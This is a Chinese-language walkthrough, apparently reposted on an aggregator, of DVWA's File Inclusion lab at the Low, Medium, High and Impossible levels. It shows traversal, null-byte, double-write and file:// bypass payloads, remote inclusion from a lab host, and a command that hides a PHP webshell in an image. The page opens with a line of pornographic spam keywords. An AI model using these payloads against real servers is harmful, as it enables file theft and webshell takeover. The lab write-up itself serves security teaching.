日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

DVWA--File Inclusion(文件包含)--四个级别

發(fā)布時(shí)間:2023/12/31 编程问答 33 豆豆
生活随笔 收集整理的這篇文章主要介紹了 DVWA--File Inclusion(文件包含)--四个级别 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

索引目錄:

Low

Medium

High

Impossible


文件包含,主要由于php.ini配置不嚴(yán)格,allow_url_fopen=On是導(dǎo)致文件包含的元兇之一 和php函數(shù)運(yùn)用的嚴(yán)謹(jǐn)程度

php文件包含常用函數(shù):

include: 包含并運(yùn)行指定文件,當(dāng)包含外部文件發(fā)生錯誤時(shí),系統(tǒng)給出警告,但整個php文件繼續(xù)執(zhí)行
include_once: 這個函數(shù)跟和include語句類似,唯一區(qū)別是如果該文件中已經(jīng)被包含過,則不會再次包含
require: 跟include唯一不同的是,當(dāng)產(chǎn)生錯誤時(shí)候,整個php文件停止運(yùn)行
require_once: require_once語句和require 語句完全相同,唯一區(qū)別是PHP會檢查該文件是否已經(jīng)被包含過,如果是則不會再次包含
php.ini配置文件: allow_url_fopen=off 即不可以包含遠(yuǎn)程文件。php4存在遠(yuǎn)程包含&本地包含,php5及以上僅存在本地包含
使用上面幾個函數(shù)包含文件時(shí),該文件將作為PHP代碼執(zhí)行,PHP內(nèi)核并不在意被包含的文件是什么類型的。也就是說我們用這幾個函數(shù)包含.jpg文件時(shí),也會將其當(dāng)做php文件來執(zhí)行

Low

源代碼: <?php// The page we wish to display $file = $_GET[ 'page' ];?>

從Low級別的代碼我們可以看出,服務(wù)端對上傳的的page參數(shù)沒有任何過濾
注:服務(wù)器包含文件時(shí),不管文件后綴是否是php,都會嘗試當(dāng)作php文件執(zhí)行,如果文件內(nèi)容確為php,則會正常執(zhí)行并返回結(jié)果;如果不是,則會原封不動地打印文件內(nèi)容,所以文件包含漏洞常常會導(dǎo)致任意文件讀取與任意命令執(zhí)行

漏洞利用:

1.本地包含:即包含本地文件

條件:開啟allow_url_include

  • 首先我們嘗試包含本地一個不存在的文件

    出現(xiàn)上圖所示報(bào)錯,從第一行警告我們可以看出它使用的是include函數(shù),也直接爆出了含有include函數(shù)文件的位置
    從第二行我們可以看出沒有找到指定文件

  • 我們再嘗試包含一個存在的,在已經(jīng)文件路徑的前提下

  • 我們也可以嘗試使用../來進(jìn)行目錄穿越(../表示返回上一層目錄)

    已知test.php的絕對路徑在F:\xampp\htdocs\dvwa\vulnerabilities\filetest\test.php
    我們當(dāng)前在http://127.0.0.1:8008/dvwa/vulnerabilities/fi/下,由下圖文件具體位置可以看出,一個../就i返回到了有filetest目錄的目錄

注:配置文件中的Magic_quote_gpc選項(xiàng)為off。在php版本小于5.3.4的服務(wù)器中,當(dāng)Magic_quote_gpc選項(xiàng)為off時(shí),我們可以在文件名中使用%00進(jìn)行截?cái)?#xff0c;也就是說文件名中%00后的內(nèi)容不會被識別,即下面兩個url是完全等效的
這種情況多用于必須要文件后綴是php,jpg,jpeg,png等,只是為了上傳時(shí)表示存在,真正解析時(shí)直接截?cái)?/p> http://127.0.0.1/dvwa/vulnerabilities/fi/page=../../../../../xampp/htdocs/dvwa/php.ini http://127.0.0.1/dvwa/vulnerabilities/fi/page=../../../../../xampp/htdocs/dvwa/php.ini%00test.php

由于本次實(shí)驗(yàn)時(shí)7.3.4版本,無法演示

2.遠(yuǎn)程文件包含,這里我自己用虛擬機(jī)搭了另一個服務(wù)器

條件:php.ini配置中,allow_url_fopen與allow_url_include為開啟狀態(tài)時(shí),服務(wù)器會允許包含遠(yuǎn)程服務(wù)器上的文件


發(fā)現(xiàn)利用成功,如果此時(shí)這是一句話木馬,我們就可以用菜刀或者蟻劍進(jìn)行連接,獲得webshell了

你還可以通過url編碼進(jìn)行隱秘操作:

Medium

源代碼: <?php// The page we wish to display $file = $_GET[ 'page' ];// Input validation $file = str_replace( array( "http://", "https://" ), "", $file ); $file = str_replace( array( "../", "..\"" ), "", $file );?>

Medium級別的代碼增加了str_replace函數(shù),對page參數(shù)進(jìn)行了處理,將http:// 、https://、 ../、..\替換為空字符,即刪除

漏洞利用:

  • 使用str_replace函數(shù)也不是絕對安全的,因?yàn)槲覀兛梢允褂秒p寫繞過替換規(guī)則

例如page=htthttp://p://192.168.13.130/hello.php時(shí),str_replace函數(shù)只會刪除一個http://,于是page=http://192.168.13.130/hello.php,成功執(zhí)行遠(yuǎn)程命令
同時(shí),因?yàn)樘鎿Q的只是../、..\,所以對采用絕對路徑(就是不使用…/)的方式包含文件是不會受到任何限制的

1.本地文件包含

但是我們?nèi)绻且谩?呢?那么我們就可以雙寫繞過
例如使用http://127.0.0.1:8008/dvwa/vulnerabilities/fi/?page=..././filetest/test.php,這樣str_replace只刪除了一個../

但是http://127.0.0.1:8008/dvwa/vulnerabilities/fi/?page=../../filetest/test.php卻不能執(zhí)行,因?yàn)樗苯訖z測到了兩個../,所以利用雙寫繞過,不要單獨(dú)連起來,要嵌套起來

2.遠(yuǎn)程文件包含
  • 雙寫繞過法
  • 把%68%74%74%70%3a%2f%2f192.168.13.130%2fhello.php嘗試url編碼進(jìn)行包含
    經(jīng)過編碼后的url不能繞過替換規(guī)則,因?yàn)榻獯a是在瀏覽器端完成的,發(fā)送過去的page參數(shù)依然是page=http://192.168.13.130/hello.php,因此讀取失敗

High

源代碼: <?php// The page we wish to display $file = $_GET[ 'page' ];// Input validation if( !fnmatch( "file*", $file ) && $file != "include.php" ) {// This isn't the page we want!echo "ERROR: File not found!";exit; }?>
fnmatch(pattern,string,flags):根據(jù)指定的模式來匹配文件名或字符串

pattern 必需 規(guī)定要檢索的模式
string 必需 規(guī)定要檢查的字符串或文件
flags 可選

High級別的代碼使用了fnmatch函數(shù)檢查page參數(shù),要求page參數(shù)的開頭必須是file,服務(wù)器才會去包含相應(yīng)的文件。看似安全,但是我們依然可以利用file協(xié)議繞過防護(hù)策略。file協(xié)議其實(shí)我們并不陌生,當(dāng)我們用瀏覽器打開一個本地文件時(shí),用的就是file協(xié)議,file://F:/xampp/htdocs/dvwa/vulnerabilities/filetest/test.php,如下圖:

如果是php文件,則不會解析而是顯示其php代碼,在html頁面或源代碼中

至于執(zhí)行任意命令,需要配合文件上傳漏洞利用。首先需要上傳一個內(nèi)容為php的php文件或jpg照片,然后再利用file協(xié)議去包含上傳文件(需要知道上傳文件的絕對路徑),從而實(shí)現(xiàn)任意命令執(zhí)行,謹(jǐn)記,php的file://協(xié)議只能打開本地文件
圖片插入一句話木馬(b為二進(jìn)制,a為ascii碼)
copy xx.jpg/b +xx.php/a xxx.jpg,之后利用菜刀或蟻劍連接,連接時(shí)還需要先瀏覽網(wǎng)站,登陸賬號,完成Session認(rèn)證

Impossible

源代碼: <?php// The page we wish to display $file = $_GET[ 'page' ];// Only allow include.php or file{1..3}.php if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {// This isn't the page we want!echo "ERROR: File not found!";exit; }?>

Impossible級別代碼使用了白名單機(jī)制進(jìn)行防護(hù),page參數(shù)必須為include.php、file1.php、file2.php、file3.php之一,因此徹底消除了文件包含漏洞的產(chǎn)生

總結(jié)

以上是生活随笔為你收集整理的DVWA--File Inclusion(文件包含)--四个级别的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。